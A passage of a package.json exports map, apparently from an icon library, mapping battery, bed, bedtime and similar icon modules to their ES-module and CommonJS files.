\"./Battery20Rounded.mjs\",\n      \"require\": \"./Battery20Rounded.js\",\n      \"default\": \"./Battery20Rounded.mjs\"\n    },\n    \"./Battery20Sharp\": {\n      \"import\": \"./Battery20Sharp.mjs\",\n      \"require\": \"./Battery20Sharp.js\",\n      \"default\": \"./Battery20Sharp.mjs\"\n    },\n    \"./Battery20TwoTone\": {\n      \"import\": \"./Battery20TwoTone.mjs\",\n      \"require\": \"./Battery20TwoTone.js\",\n      \"default\": \"./Battery20TwoTone.mjs\"\n    },\n    \"./Battery2Bar\": {\n      \"import\": \"./Battery2Bar.mjs\",\n      \"require\": \"./Battery2Bar.js\",\n      \"default\": \"./Battery2Bar.mjs\"\n    },\n    \"./Battery2BarOutlined\": {\n      \"import\": \"./Battery2BarOutlined.mjs\",\n      \"require\": \"./Battery2BarOutlined.js\",\n      \"default\": \"./Battery2BarOutlined.mjs\"\n    },\n    \"./Battery2BarRounded\": {\n      \"import\": \"./Battery2BarRounded.mjs\",\n      \"require\": \"./Battery2BarRounded.js\",\n      \"default\": \"./Battery2BarRounded.mjs\"\n    },\n    \"./Battery2BarSharp\": {\n      \"import\": \"./Battery2BarSharp.mjs\",\n      \"require\": \"./Battery2BarSharp.js\",\n      \"default\": \"./Battery2BarSharp.mjs\"\n    },\n    \"./Battery2BarTwoTone\": {\n      \"import\": \"./Battery2BarTwoTone.mjs\",\n      \"require\": \"./Battery2BarTwoTone.js\",\n      \"default\": \"./Battery2BarTwoTone.mjs\"\n    },\n    \"./Battery30\": {\n      \"import\": \"./Battery30.mjs\",\n      \"require\": \"./Battery30.js\",\n      \"default\": \"./Battery30.mjs\"\n    },\n    \"./Battery30Outlined\": {\n      \"import\": \"./Battery30Outlined.mjs\",\n      \"require\": \"./Battery30Outlined.js\",\n      \"default\": \"./Battery30Outlined.mjs\"\n    },\n    \"./Battery30Rounded\": {\n      \"import\": \"./Battery30Rounded.mjs\",\n      \"require\": \"./Battery30Rounded.js\",\n      \"default\": \"./Battery30Rounded.mjs\"\n    },\n    \"./Battery30Sharp\": {\n      \"import\": \"./Battery30Sharp.mjs\",\n      \"require\": \"./Battery30Sharp.js\",\n      \"default\": \"./Battery30Sharp.mjs\"\n    },\n    \"./Battery30TwoTone\": {\n      \"require\": \"./Battery30TwoTone.js\",\n      \"import\": \"./Battery30TwoTone.mjs\",\n      \"default\": \"./Battery30TwoTone.mjs\"\n    },\n    \"./Battery3Bar\": {\n      \"require\": \"./Battery3Bar.js\",\n      \"import\": \"./Battery3Bar.mjs\",\n      \"default\": \"./Battery3Bar.mjs\"\n    },\n    \"./Battery3BarOutlined\": {\n      \"require\": \"./Battery3BarOutlined.js\",\n      \"import\": \"./Battery3BarOutlined.mjs\",\n      \"default\": \"./Battery3BarOutlined.mjs\"\n    },\n    \"./Battery3BarRounded\": {\n      \"require\": \"./Battery3BarRounded.js\",\n      \"import\": \"./Battery3BarRounded.mjs\",\n      \"default\": \"./Battery3BarRounded.mjs\"\n    },\n    \"./Battery3BarSharp\": {\n      \"require\": \"./Battery3BarSharp.js\",\n      \"import\": \"./Battery3BarSharp.mjs\",\n      \"default\": \"./Battery3BarSharp.mjs\"\n    },\n    \"./Battery3BarTwoTone\": {\n      \"require\": \"./Battery3BarTwoTone.js\",\n      \"import\": \"./Battery3BarTwoTone.mjs\",\n      \"default\": \"./Battery3BarTwoTone.mjs\"\n    },\n    \"./Battery4Bar\": {\n      \"require\": \"./Battery4Bar.js\",\n      \"import\": \"./Battery4Bar.mjs\",\n      \"default\": \"./Battery4Bar.mjs\"\n    },\n    \"./Battery4BarOutlined\": {\n      \"require\": \"./Battery4BarOutlined.js\",\n      \"import\": \"./Battery4BarOutlined.mjs\",\n      \"default\": \"./Battery4BarOutlined.mjs\"\n    },\n    \"./Battery4BarRounded\": {\n      \"require\": \"./Battery4BarRounded.js\",\n      \"import\": \"./Battery4BarRounded.mjs\",\n      \"default\": \"./Battery4BarRounded.mjs\"\n    },\n    \"./Battery4BarSharp\": {\n      \"require\": \"./Battery4BarSharp.js\",\n      \"import\": \"./Battery4BarSharp.mjs\",\n      \"default\": \"./Battery4BarSharp.mjs\"\n    },\n    \"./Battery4BarTwoTone\": {\n      \"require\": \"./Battery4BarTwoTone.js\",\n      \"import\": \"./Battery4BarTwoTone.mjs\",\n      \"default\": \"./Battery4BarTwoTone.mjs\"\n    },\n    \"./Battery50\": {\n      \"require\": \"./Battery50.js\",\n      \"import\": \"./Battery50.mjs\",\n      \"default\": \"./Battery50.mjs\"\n    },\n    \"./Battery50Outlined\": {\n      \"require\": \"./Battery50Outlined.js\",\n      \"import\": \"./Battery50Outlined.mjs\",\n      \"default\": \"./Battery50Outlined.mjs\"\n    },\n    \"./Battery50Rounded\": {\n      \"require\": \"./Battery50Rounded.js\",\n      \"import\": \"./Battery50Rounded.mjs\",\n      \"default\": \"./Battery50Rounded.mjs\"\n    },\n    \"./Battery50Sharp\": {\n      \"require\": \"./Battery50Sharp.js\",\n      \"import\": \"./Battery50Sharp.mjs\",\n      \"default\": \"./Battery50Sharp.mjs\"\n    },\n    \"./Battery50TwoTone\": {\n      \"require\": \"./Battery50TwoTone.js\",\n      \"import\": \"./Battery50TwoTone.mjs\",\n      \"default\": \"./Battery50TwoTone.mjs\"\n    },\n    \"./Battery5Bar\": {\n      \"import\": \"./Battery5Bar.mjs\",\n      \"require\": \"./Battery5Bar.js\",\n      \"default\": \"./Battery5Bar.mjs\"\n    },\n    \"./Battery5BarOutlined\": {\n      \"import\": \"./Battery5BarOutlined.mjs\",\n      \"require\": \"./Battery5BarOutlined.js\",\n      \"default\": \"./Battery5BarOutlined.mjs\"\n    },\n    \"./Battery5BarRounded\": {\n      \"import\": \"./Battery5BarRounded.mjs\",\n      \"require\": \"./Battery5BarRounded.js\",\n      \"default\": \"./Battery5BarRounded.mjs\"\n    },\n    \"./Battery5BarSharp\": {\n      \"import\": \"./Battery5BarSharp.mjs\",\n      \"require\": \"./Battery5BarSharp.js\",\n      \"default\": \"./Battery5BarSharp.mjs\"\n    },\n    \"./Battery5BarTwoTone\": {\n      \"import\": \"./Battery5BarTwoTone.mjs\",\n      \"require\": \"./Battery5BarTwoTone.js\",\n      \"default\": \"./Battery5BarTwoTone.mjs\"\n    },\n    \"./Battery60\": {\n      \"import\": \"./Battery60.mjs\",\n      \"require\": \"./Battery60.js\",\n      \"default\": \"./Battery60.mjs\"\n    },\n    \"./Battery60Outlined\": {\n      \"import\": \"./Battery60Outlined.mjs\",\n      \"require\": \"./Battery60Outlined.js\",\n      \"default\": \"./Battery60Outlined.mjs\"\n    },\n    \"./Battery60Rounded\": {\n      \"import\": \"./Battery60Rounded.mjs\",\n      \"require\": \"./Battery60Rounded.js\",\n      \"default\": \"./Battery60Rounded.mjs\"\n    },\n    \"./Battery60Sharp\": {\n      \"import\": \"./Battery60Sharp.mjs\",\n      \"require\": \"./Battery60Sharp.js\",\n      \"default\": \"./Battery60Sharp.mjs\"\n    },\n    \"./Battery60TwoTone\": {\n      \"import\": \"./Battery60TwoTone.mjs\",\n      \"require\": \"./Battery60TwoTone.js\",\n      \"default\": \"./Battery60TwoTone.mjs\"\n    },\n    \"./Battery6Bar\": {\n      \"import\": \"./Battery6Bar.mjs\",\n      \"require\": \"./Battery6Bar.js\",\n      \"default\": \"./Battery6Bar.mjs\"\n    },\n    \"./Battery6BarOutlined\": {\n      \"import\": \"./Battery6BarOutlined.mjs\",\n      \"require\": \"./Battery6BarOutlined.js\",\n      \"default\": \"./Battery6BarOutlined.mjs\"\n    },\n    \"./Battery6BarRounded\": {\n      \"import\": \"./Battery6BarRounded.mjs\",\n      \"require\": \"./Battery6BarRounded.js\",\n      \"default\": \"./Battery6BarRounded.mjs\"\n    },\n    \"./Battery6BarSharp\": {\n      \"require\": \"./Battery6BarSharp.js\",\n      \"import\": \"./Battery6BarSharp.mjs\",\n      \"default\": \"./Battery6BarSharp.mjs\"\n    },\n    \"./Battery6BarTwoTone\": {\n      \"require\": \"./Battery6BarTwoTone.js\",\n      \"import\": \"./Battery6BarTwoTone.mjs\",\n      \"default\": \"./Battery6BarTwoTone.mjs\"\n    },\n    \"./Battery80\": {\n      \"require\": \"./Battery80.js\",\n      \"import\": \"./Battery80.mjs\",\n      \"default\": \"./Battery80.mjs\"\n    },\n    \"./Battery80Outlined\": {\n      \"import\": \"./Battery80Outlined.mjs\",\n      \"require\": \"./Battery80Outlined.js\",\n      \"default\": \"./Battery80Outlined.mjs\"\n    },\n    \"./Battery80Rounded\": {\n      \"import\": \"./Battery80Rounded.mjs\",\n      \"require\": \"./Battery80Rounded.js\",\n      \"default\": \"./Battery80Rounded.mjs\"\n    },\n    \"./Battery80Sharp\": {\n      \"import\": \"./Battery80Sharp.mjs\",\n      \"require\": \"./Battery80Sharp.js\",\n      \"default\": \"./Battery80Sharp.mjs\"\n    },\n    \"./Battery80TwoTone\": {\n      \"import\": \"./Battery80TwoTone.mjs\",\n      \"require\": \"./Battery80TwoTone.js\",\n      \"default\": \"./Battery80TwoTone.mjs\"\n    },\n    \"./Battery90\": {\n      \"import\": \"./Battery90.mjs\",\n      \"require\": \"./Battery90.js\",\n      \"default\": \"./Battery90.mjs\"\n    },\n    \"./Battery90Outlined\": {\n      \"import\": \"./Battery90Outlined.mjs\",\n      \"require\": \"./Battery90Outlined.js\",\n      \"default\": \"./Battery90Outlined.mjs\"\n    },\n    \"./Battery90Rounded\": {\n      \"import\": \"./Battery90Rounded.mjs\",\n      \"require\": \"./Battery90Rounded.js\",\n      \"default\": \"./Battery90Rounded.mjs\"\n    },\n    \"./Battery90Sharp\": {\n      \"import\": \"./Battery90Sharp.mjs\",\n      \"require\": \"./Battery90Sharp.js\",\n      \"default\": \"./Battery90Sharp.mjs\"\n    },\n    \"./Battery90TwoTone\": {\n      \"import\": \"./Battery90TwoTone.mjs\",\n      \"require\": \"./Battery90TwoTone.js\",\n      \"default\": \"./Battery90TwoTone.mjs\"\n    },\n    \"./BatteryAlert\": {\n      \"import\": \"./BatteryAlert.mjs\",\n      \"require\": \"./BatteryAlert.js\",\n      \"default\": \"./BatteryAlert.mjs\"\n    },\n    \"./BatteryAlertOutlined\": {\n      \"import\": \"./BatteryAlertOutlined.mjs\",\n      \"require\": \"./BatteryAlertOutlined.js\",\n      \"default\": \"./BatteryAlertOutlined.mjs\"\n    },\n    \"./BatteryAlertRounded\": {\n      \"import\": \"./BatteryAlertRounded.mjs\",\n      \"require\": \"./BatteryAlertRounded.js\",\n      \"default\": \"./BatteryAlertRounded.mjs\"\n    },\n    \"./BatteryAlertSharp\": {\n      \"import\": \"./BatteryAlertSharp.mjs\",\n      \"require\": \"./BatteryAlertSharp.js\",\n      \"default\": \"./BatteryAlertSharp.mjs\"\n    },\n    \"./BatteryAlertTwoTone\": {\n      \"import\": \"./BatteryAlertTwoTone.mjs\",\n      \"require\": \"./BatteryAlertTwoTone.js\",\n      \"default\": \"./BatteryAlertTwoTone.mjs\"\n    },\n    \"./BatteryCharging20\": {\n      \"import\": \"./BatteryCharging20.mjs\",\n      \"require\": \"./BatteryCharging20.js\",\n      \"default\": \"./BatteryCharging20.mjs\"\n    },\n    \"./BatteryCharging20Outlined\": {\n      \"import\": \"./BatteryCharging20Outlined.mjs\",\n      \"require\": \"./BatteryCharging20Outlined.js\",\n      \"default\": \"./BatteryCharging20Outlined.mjs\"\n    },\n    \"./BatteryCharging20Rounded\": {\n      \"import\": \"./BatteryCharging20Rounded.mjs\",\n      \"require\": \"./BatteryCharging20Rounded.js\",\n      \"default\": \"./BatteryCharging20Rounded.mjs\"\n    },\n    \"./BatteryCharging20Sharp\": {\n      \"import\": \"./BatteryCharging20Sharp.mjs\",\n      \"require\": \"./BatteryCharging20Sharp.js\",\n      \"default\": \"./BatteryCharging20Sharp.mjs\"\n    },\n    \"./BatteryCharging20TwoTone\": {\n      \"import\": \"./BatteryCharging20TwoTone.mjs\",\n      \"require\": \"./BatteryCharging20TwoTone.js\",\n      \"default\": \"./BatteryCharging20TwoTone.mjs\"\n    },\n    \"./BatteryCharging30\": {\n      \"import\": \"./BatteryCharging30.mjs\",\n      \"require\": \"./BatteryCharging30.js\",\n      \"default\": \"./BatteryCharging30.mjs\"\n    },\n    \"./BatteryCharging30Outlined\": {\n      \"require\": \"./BatteryCharging30Outlined.js\",\n      \"import\": \"./BatteryCharging30Outlined.mjs\",\n      \"default\": \"./BatteryCharging30Outlined.mjs\"\n    },\n    \"./BatteryCharging30Rounded\": {\n      \"require\": \"./BatteryCharging30Rounded.js\",\n      \"import\": \"./BatteryCharging30Rounded.mjs\",\n      \"default\": \"./BatteryCharging30Rounded.mjs\"\n    },\n    \"./BatteryCharging30Sharp\": {\n      \"require\": \"./BatteryCharging30Sharp.js\",\n      \"import\": \"./BatteryCharging30Sharp.mjs\",\n      \"default\": \"./BatteryCharging30Sharp.mjs\"\n    },\n    \"./BatteryCharging30TwoTone\": {\n      \"require\": \"./BatteryCharging30TwoTone.js\",\n      \"import\": \"./BatteryCharging30TwoTone.mjs\",\n      \"default\": \"./BatteryCharging30TwoTone.mjs\"\n    },\n    \"./BatteryCharging50\": {\n      \"require\": \"./BatteryCharging50.js\",\n      \"import\": \"./BatteryCharging50.mjs\",\n      \"default\": \"./BatteryCharging50.mjs\"\n    },\n    \"./BatteryCharging50Outlined\": {\n      \"require\": \"./BatteryCharging50Outlined.js\",\n      \"import\": \"./BatteryCharging50Outlined.mjs\",\n      \"default\": \"./BatteryCharging50Outlined.mjs\"\n    },\n    \"./BatteryCharging50Rounded\": {\n      \"require\": \"./BatteryCharging50Rounded.js\",\n      \"import\": \"./BatteryCharging50Rounded.mjs\",\n      \"default\": \"./BatteryCharging50Rounded.mjs\"\n    },\n    \"./BatteryCharging50Sharp\": {\n      \"require\": \"./BatteryCharging50Sharp.js\",\n      \"import\": \"./BatteryCharging50Sharp.mjs\",\n      \"default\": \"./BatteryCharging50Sharp.mjs\"\n    },\n    \"./BatteryCharging50TwoTone\": {\n      \"require\": \"./BatteryCharging50TwoTone.js\",\n      \"import\": \"./BatteryCharging50TwoTone.mjs\",\n      \"default\": \"./BatteryCharging50TwoTone.mjs\"\n    },\n    \"./BatteryCharging60\": {\n      \"require\": \"./BatteryCharging60.js\",\n      \"import\": \"./BatteryCharging60.mjs\",\n      \"default\": \"./BatteryCharging60.mjs\"\n    },\n    \"./BatteryCharging60Outlined\": {\n      \"require\": \"./BatteryCharging60Outlined.js\",\n      \"import\": \"./BatteryCharging60Outlined.mjs\",\n      \"default\": \"./BatteryCharging60Outlined.mjs\"\n    },\n    \"./BatteryCharging60Rounded\": {\n      \"require\": \"./BatteryCharging60Rounded.js\",\n      \"import\": \"./BatteryCharging60Rounded.mjs\",\n      \"default\": \"./BatteryCharging60Rounded.mjs\"\n    },\n    \"./BatteryCharging60Sharp\": {\n      \"require\": \"./BatteryCharging60Sharp.js\",\n      \"import\": \"./BatteryCharging60Sharp.mjs\",\n      \"default\": \"./BatteryCharging60Sharp.mjs\"\n    },\n    \"./BatteryCharging60TwoTone\": {\n      \"require\": \"./BatteryCharging60TwoTone.js\",\n      \"import\": \"./BatteryCharging60TwoTone.mjs\",\n      \"default\": \"./BatteryCharging60TwoTone.mjs\"\n    },\n    \"./BatteryCharging80\": {\n      \"require\": \"./BatteryCharging80.js\",\n      \"import\": \"./BatteryCharging80.mjs\",\n      \"default\": \"./BatteryCharging80.mjs\"\n    },\n    \"./BatteryCharging80Outlined\": {\n      \"require\": \"./BatteryCharging80Outlined.js\",\n      \"import\": \"./BatteryCharging80Outlined.mjs\",\n      \"default\": \"./BatteryCharging80Outlined.mjs\"\n    },\n    \"./BatteryCharging80Rounded\": {\n      \"require\": \"./BatteryCharging80Rounded.js\",\n      \"import\": \"./BatteryCharging80Rounded.mjs\",\n      \"default\": \"./BatteryCharging80Rounded.mjs\"\n    },\n    \"./BatteryCharging80Sharp\": {\n      \"require\": \"./BatteryCharging80Sharp.js\",\n      \"import\": \"./BatteryCharging80Sharp.mjs\",\n      \"default\": \"./BatteryCharging80Sharp.mjs\"\n    },\n    \"./BatteryCharging80TwoTone\": {\n      \"require\": \"./BatteryCharging80TwoTone.js\",\n      \"import\": \"./BatteryCharging80TwoTone.mjs\",\n      \"default\": \"./BatteryCharging80TwoTone.mjs\"\n    },\n    \"./BatteryCharging90\": {\n      \"require\": \"./BatteryCharging90.js\",\n      \"import\": \"./BatteryCharging90.mjs\",\n      \"default\": \"./BatteryCharging90.mjs\"\n    },\n    \"./BatteryCharging90Outlined\": {\n      \"require\": \"./BatteryCharging90Outlined.js\",\n      \"import\": \"./BatteryCharging90Outlined.mjs\",\n      \"default\": \"./BatteryCharging90Outlined.mjs\"\n    },\n    \"./BatteryCharging90Rounded\": {\n      \"require\": \"./BatteryCharging90Rounded.js\",\n      \"import\": \"./BatteryCharging90Rounded.mjs\",\n      \"default\": \"./BatteryCharging90Rounded.mjs\"\n    },\n    \"./BatteryCharging90Sharp\": {\n      \"require\": \"./BatteryCharging90Sharp.js\",\n      \"import\": \"./BatteryCharging90Sharp.mjs\",\n      \"default\": \"./BatteryCharging90Sharp.mjs\"\n    },\n    \"./BatteryCharging90TwoTone\": {\n      \"require\": \"./BatteryCharging90TwoTone.js\",\n      \"import\": \"./BatteryCharging90TwoTone.mjs\",\n      \"default\": \"./BatteryCharging90TwoTone.mjs\"\n    },\n    \"./BatteryChargingFull\": {\n      \"require\": \"./BatteryChargingFull.js\",\n      \"import\": \"./BatteryChargingFull.mjs\",\n      \"default\": \"./BatteryChargingFull.mjs\"\n    },\n    \"./BatteryChargingFullOutlined\": {\n      \"require\": \"./BatteryChargingFullOutlined.js\",\n      \"import\": \"./BatteryChargingFullOutlined.mjs\",\n      \"default\": \"./BatteryChargingFullOutlined.mjs\"\n    },\n    \"./BatteryChargingFullRounded\": {\n      \"require\": \"./BatteryChargingFullRounded.js\",\n      \"import\": \"./BatteryChargingFullRounded.mjs\",\n      \"default\": \"./BatteryChargingFullRounded.mjs\"\n    },\n    \"./BatteryChargingFullSharp\": {\n      \"require\": \"./BatteryChargingFullSharp.js\",\n      \"import\": \"./BatteryChargingFullSharp.mjs\",\n      \"default\": \"./BatteryChargingFullSharp.mjs\"\n    },\n    \"./BatteryChargingFullTwoTone\": {\n      \"require\": \"./BatteryChargingFullTwoTone.js\",\n      \"import\": \"./BatteryChargingFullTwoTone.mjs\",\n      \"default\": \"./BatteryChargingFullTwoTone.mjs\"\n    },\n    \"./BatteryFull\": {\n      \"require\": \"./BatteryFull.js\",\n      \"import\": \"./BatteryFull.mjs\",\n      \"default\": \"./BatteryFull.mjs\"\n    },\n    \"./BatteryFullOutlined\": {\n      \"require\": \"./BatteryFullOutlined.js\",\n      \"import\": \"./BatteryFullOutlined.mjs\",\n      \"default\": \"./BatteryFullOutlined.mjs\"\n    },\n    \"./BatteryFullRounded\": {\n      \"require\": \"./BatteryFullRounded.js\",\n      \"import\": \"./BatteryFullRounded.mjs\",\n      \"default\": \"./BatteryFullRounded.mjs\"\n    },\n    \"./BatteryFullSharp\": {\n      \"require\": \"./BatteryFullSharp.js\",\n      \"import\": \"./BatteryFullSharp.mjs\",\n      \"default\": \"./BatteryFullSharp.mjs\"\n    },\n    \"./BatteryFullTwoTone\": {\n      \"require\": \"./BatteryFullTwoTone.js\",\n      \"import\": \"./BatteryFullTwoTone.mjs\",\n      \"default\": \"./BatteryFullTwoTone.mjs\"\n    },\n    \"./BatterySaver\": {\n      \"require\": \"./BatterySaver.js\",\n      \"import\": \"./BatterySaver.mjs\",\n      \"default\": \"./BatterySaver.mjs\"\n    },\n    \"./BatterySaverOutlined\": {\n      \"require\": \"./BatterySaverOutlined.js\",\n      \"import\": \"./BatterySaverOutlined.mjs\",\n      \"default\": \"./BatterySaverOutlined.mjs\"\n    },\n    \"./BatterySaverRounded\": {\n      \"require\": \"./BatterySaverRounded.js\",\n      \"import\": \"./BatterySaverRounded.mjs\",\n      \"default\": \"./BatterySaverRounded.mjs\"\n    },\n    \"./BatterySaverSharp\": {\n      \"require\": \"./BatterySaverSharp.js\",\n      \"import\": \"./BatterySaverSharp.mjs\",\n      \"default\": \"./BatterySaverSharp.mjs\"\n    },\n    \"./BatterySaverTwoTone\": {\n      \"require\": \"./BatterySaverTwoTone.js\",\n      \"import\": \"./BatterySaverTwoTone.mjs\",\n      \"default\": \"./BatterySaverTwoTone.mjs\"\n    },\n    \"./BatteryStd\": {\n      \"require\": \"./BatteryStd.js\",\n      \"import\": \"./BatteryStd.mjs\",\n      \"default\": \"./BatteryStd.mjs\"\n    },\n    \"./BatteryStdOutlined\": {\n      \"require\": \"./BatteryStdOutlined.js\",\n      \"import\": \"./BatteryStdOutlined.mjs\",\n      \"default\": \"./BatteryStdOutlined.mjs\"\n    },\n    \"./BatteryStdRounded\": {\n      \"require\": \"./BatteryStdRounded.js\",\n      \"import\": \"./BatteryStdRounded.mjs\",\n      \"default\": \"./BatteryStdRounded.mjs\"\n    },\n    \"./BatteryStdSharp\": {\n      \"require\": \"./BatteryStdSharp.js\",\n      \"import\": \"./BatteryStdSharp.mjs\",\n      \"default\": \"./BatteryStdSharp.mjs\"\n    },\n    \"./BatteryStdTwoTone\": {\n      \"require\": \"./BatteryStdTwoTone.js\",\n      \"import\": \"./BatteryStdTwoTone.mjs\",\n      \"default\": \"./BatteryStdTwoTone.mjs\"\n    },\n    \"./BatteryUnknown\": {\n      \"require\": \"./BatteryUnknown.js\",\n      \"import\": \"./BatteryUnknown.mjs\",\n      \"default\": \"./BatteryUnknown.mjs\"\n    },\n    \"./BatteryUnknownOutlined\": {\n      \"require\": \"./BatteryUnknownOutlined.js\",\n      \"import\": \"./BatteryUnknownOutlined.mjs\",\n      \"default\": \"./BatteryUnknownOutlined.mjs\"\n    },\n    \"./BatteryUnknownRounded\": {\n      \"require\": \"./BatteryUnknownRounded.js\",\n      \"import\": \"./BatteryUnknownRounded.mjs\",\n      \"default\": \"./BatteryUnknownRounded.mjs\"\n    },\n    \"./BatteryUnknownSharp\": {\n      \"require\": \"./BatteryUnknownSharp.js\",\n      \"import\": \"./BatteryUnknownSharp.mjs\",\n      \"default\": \"./BatteryUnknownSharp.mjs\"\n    },\n    \"./BatteryUnknownTwoTone\": {\n      \"require\": \"./BatteryUnknownTwoTone.js\",\n      \"import\": \"./BatteryUnknownTwoTone.mjs\",\n      \"default\": \"./BatteryUnknownTwoTone.mjs\"\n    },\n    \"./BeachAccess\": {\n      \"require\": \"./BeachAccess.js\",\n      \"import\": \"./BeachAccess.mjs\",\n      \"default\": \"./BeachAccess.mjs\"\n    },\n    \"./BeachAccessOutlined\": {\n      \"require\": \"./BeachAccessOutlined.js\",\n      \"import\": \"./BeachAccessOutlined.mjs\",\n      \"default\": \"./BeachAccessOutlined.mjs\"\n    },\n    \"./BeachAccessRounded\": {\n      \"require\": \"./BeachAccessRounded.js\",\n      \"import\": \"./BeachAccessRounded.mjs\",\n      \"default\": \"./BeachAccessRounded.mjs\"\n    },\n    \"./BeachAccessSharp\": {\n      \"require\": \"./BeachAccessSharp.js\",\n      \"import\": \"./BeachAccessSharp.mjs\",\n      \"default\": \"./BeachAccessSharp.mjs\"\n    },\n    \"./BeachAccessTwoTone\": {\n      \"require\": \"./BeachAccessTwoTone.js\",\n      \"import\": \"./BeachAccessTwoTone.mjs\",\n      \"default\": \"./BeachAccessTwoTone.mjs\"\n    },\n    \"./Bed\": {\n      \"require\": \"./Bed.js\",\n      \"import\": \"./Bed.mjs\",\n      \"default\": \"./Bed.mjs\"\n    },\n    \"./BedOutlined\": {\n      \"require\": \"./BedOutlined.js\",\n      \"import\": \"./BedOutlined.mjs\",\n      \"default\": \"./BedOutlined.mjs\"\n    },\n    \"./BedRounded\": {\n      \"require\": \"./BedRounded.js\",\n      \"import\": \"./BedRounded.mjs\",\n      \"default\": \"./BedRounded.mjs\"\n    },\n    \"./BedSharp\": {\n      \"require\": \"./BedSharp.js\",\n      \"import\": \"./BedSharp.mjs\",\n      \"default\": \"./BedSharp.mjs\"\n    },\n    \"./BedTwoTone\": {\n      \"require\": \"./BedTwoTone.js\",\n      \"import\": \"./BedTwoTone.mjs\",\n      \"default\": \"./BedTwoTone.mjs\"\n    },\n    \"./BedroomBaby\": {\n      \"require\": \"./BedroomBaby.js\",\n      \"import\": \"./BedroomBaby.mjs\",\n      \"default\": \"./BedroomBaby.mjs\"\n    },\n    \"./BedroomBabyOutlined\": {\n      \"require\": \"./BedroomBabyOutlined.js\",\n      \"import\": \"./BedroomBabyOutlined.mjs\",\n      \"default\": \"./BedroomBabyOutlined.mjs\"\n    },\n    \"./BedroomBabyRounded\": {\n      \"require\": \"./BedroomBabyRounded.js\",\n      \"import\": \"./BedroomBabyRounded.mjs\",\n      \"default\": \"./BedroomBabyRounded.mjs\"\n    },\n    \"./BedroomBabySharp\": {\n      \"require\": \"./BedroomBabySharp.js\",\n      \"import\": \"./BedroomBabySharp.mjs\",\n      \"default\": \"./BedroomBabySharp.mjs\"\n    },\n    \"./BedroomBabyTwoTone\": {\n      \"require\": \"./BedroomBabyTwoTone.js\",\n      \"import\": \"./BedroomBabyTwoTone.mjs\",\n      \"default\": \"./BedroomBabyTwoTone.mjs\"\n    },\n    \"./BedroomChild\": {\n      \"require\": \"./BedroomChild.js\",\n      \"import\": \"./BedroomChild.mjs\",\n      \"default\": \"./BedroomChild.mjs\"\n    },\n    \"./BedroomChildOutlined\": {\n      \"require\": \"./BedroomChildOutlined.js\",\n      \"import\": \"./BedroomChildOutlined.mjs\",\n      \"default\": \"./BedroomChildOutlined.mjs\"\n    },\n    \"./BedroomChildRounded\": {\n      \"require\": \"./BedroomChildRounded.js\",\n      \"import\": \"./BedroomChildRounded.mjs\",\n      \"default\": \"./BedroomChildRounded.mjs\"\n    },\n    \"./BedroomChildSharp\": {\n      \"require\": \"./BedroomChildSharp.js\",\n      \"import\": \"./BedroomChildSharp.mjs\",\n      \"default\": \"./BedroomChildSharp.mjs\"\n    },\n    \"./BedroomChildTwoTone\": {\n      \"require\": \"./BedroomChildTwoTone.js\",\n      \"import\": \"./BedroomChildTwoTone.mjs\",\n      \"default\": \"./BedroomChildTwoTone.mjs\"\n    },\n    \"./BedroomParent\": {\n      \"require\": \"./BedroomParent.js\",\n      \"import\": \"./BedroomParent.mjs\",\n      \"default\": \"./BedroomParent.mjs\"\n    },\n    \"./BedroomParentOutlined\": {\n      \"require\": \"./BedroomParentOutlined.js\",\n      \"import\": \"./BedroomParentOutlined.mjs\",\n      \"default\": \"./BedroomParentOutlined.mjs\"\n    },\n    \"./BedroomParentRounded\": {\n      \"import\": \"./BedroomParentRounded.mjs\",\n      \"require\": \"./BedroomParentRounded.js\",\n      \"default\": \"./BedroomParentRounded.mjs\"\n    },\n    \"./BedroomParentSharp\": {\n      \"import\": \"./BedroomParentSharp.mjs\",\n      \"require\": \"./BedroomParentSharp.js\",\n      \"default\": \"./BedroomParentSharp.mjs\"\n    },\n    \"./BedroomParentTwoTone\": {\n      \"import\": \"./BedroomParentTwoTone.mjs\",\n      \"require\": \"./BedroomParentTwoTone.js\",\n      \"default\": \"./BedroomParentTwoTone.mjs\"\n    },\n    \"./Bedtime\": {\n      \"import\": \"./Bedtime.mjs\",\n      \"require\": \"./Bedtime.js\",\n      \"default\": \"./Bedtime.mjs\"\n    },\n    \"./BedtimeOff\": {\n      \"import\": \"./BedtimeOff.mjs\",\n      \"require\": \"./BedtimeOff.js\",\n      \"default\": \"./BedtimeOff.mjs\"\n    },\n    \"./BedtimeOffOutlined\": {\n      \"import\": \"./BedtimeOffOutlined.mjs\",\n      \"require\": \"./BedtimeOffOutlined.js\",\n      \"default\": \"./BedtimeOffOutlined.mjs\"\n    },\n    \"./BedtimeOffRounded\": {\n      \"import\": \"./BedtimeOffRounded.mjs\",\n      \"require\": \"./BedtimeOffRounded.js\",\n      \"default\": \"./BedtimeOffRounded.mjs\"\n    },\n    \"./BedtimeOffSharp\": {\n      \"import\": \"./BedtimeOffSharp.mjs\",\n      \"require\": \"./BedtimeOffSharp.js\",\n      \"default\": \"./BedtimeOffSharp.mjs\"\n    },\n    \"./BedtimeOffTwoTone\": {\n      \"import\": \"./BedtimeOffTwoTone.mjs\",\n      \"require\": \"./BedtimeOffTwoTone.js\",\n      \"default\": \"./BedtimeOffTwoTone.mjs\"\n    },\n    \"./BedtimeOutlined\": {\n      \"import\": \"./BedtimeOutlined.mjs\",\n      \"require\": \"./BedtimeOutlined.js\",\n      \"default\": \"./BedtimeOutlined.mjs\"\n    },\n    \"./BedtimeRounded\": {\n      \"import\": \"./BedtimeRounded.mjs\",\n      \"require\": \"./BedtimeRounded.js\",\n      \"default\": \"./BedtimeRounded.mjs\"\n    },\n    \"./BedtimeSharp\": {\n      \"import\": \"./BedtimeSharp.mjs\",\n      \"require\": \"./BedtimeSharp.js\",\n      \"default\": \"./BedtimeSharp.mjs\"\n    },\n    \"./BedtimeTwoTone\": {\n      \"import\": \"./BedtimeTwoTone.mjs\",\n      \"require\": \"./BedtimeTwoTone.js\",\n      \"default\": \"./BedtimeTwoTone.mjs\"\n    },\n    \"./Beenhere\": {\n      \"import\": \"./Beenhere.mjs\",\n      \"require\": \"./Beenhere.js\",\n      \"default\": \"./Beenhere.mjs\"\n    },\n    \"./BeenhereOutlined\": {\n      \"import\": \"./BeenhereOutlined.mjs\",\n      \"require\": \"./BeenhereOutlined.js\",\n      \"default\": \"./BeenhereOutlined.mjs\"\n    },\n    \"./BeenhereRounded\": {\n      \"import\": \"./BeenhereRounded.mjs\",\n      \"require\": \"./BeenhereRounded.js\",\n      \"default\": \"./BeenhereRounded.mjs\"\n    },\n    \"./BeenhereSharp\": {\n      \"import\": \"./BeenhereSharp.mjs\",\n      